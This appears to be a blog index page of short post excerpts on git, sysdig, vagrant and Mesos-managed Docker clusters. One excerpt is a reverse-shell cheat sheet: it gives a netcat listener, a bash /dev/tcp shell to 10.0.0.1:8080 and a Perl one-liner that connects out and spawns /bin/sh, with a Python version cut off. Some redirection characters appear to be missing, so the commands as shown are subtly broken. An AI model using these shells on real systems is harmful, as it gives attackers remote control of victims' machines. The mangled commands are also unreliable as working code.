git commit修改前一次提交的方法 Jan 01, 0001 方法一：用–amend选项 #修改需要修改的地方。 git add . git commit –amend 注：这种方式可以比较方便的保持原有的Change-Id，推荐使用。 方法 ... ➦

reverse shell Jan 01, 0001 Listen for 8080 first nc -l -p 8080 -vvv Bash Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10): bash -i & /dev/tcp/10.0.0.1/8080 0&1 PERL Here’s a shorter, feature-free version of the perl-reverse-shell: perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,"&S");open(STDOUT,"&S");open(STDERR,"&S");exec("/bin/sh -i");};' There’s also an alternative PERL revere shell here. Python This was tested under Linux / Python 2.7: python -c 'import socket,subprocess,os;s=socket. ... ➦

sysdig Jan 01, 0001 Sysdig captures system calls and other system level events using a linux kernel facility called tracepoints, providing a rich set of real-time, system-level information. Sysdig “packetizes” this information, so that you can do things like save it into trace files and easily filter it, a bit like you would do with tcpdump. This makes it very flexible to explore what processes are doing. Sysdig instruments your physical and virtual machines at the OS level by installing into the Linux kernel and capturing system calls and other OS events. ... ➦

vagrant Jan 01, 0001 简易虚拟机管理工具vagrant Vagrant简介 Vagrant是一款跨平台的虚拟机管理工具，可以用来封装跨平台的开发环境，分发给团队成员共 ... ➦

使用Mesos来管理Docker集群 Jan 01, 0001 Introduction Apache Mesos能够在同样的集群机器上运行多种分布式系统类型，更加动态有效率低共享资源。提供失败侦测，任务发布，任务跟踪，任务监控，低层次资源 ... ➦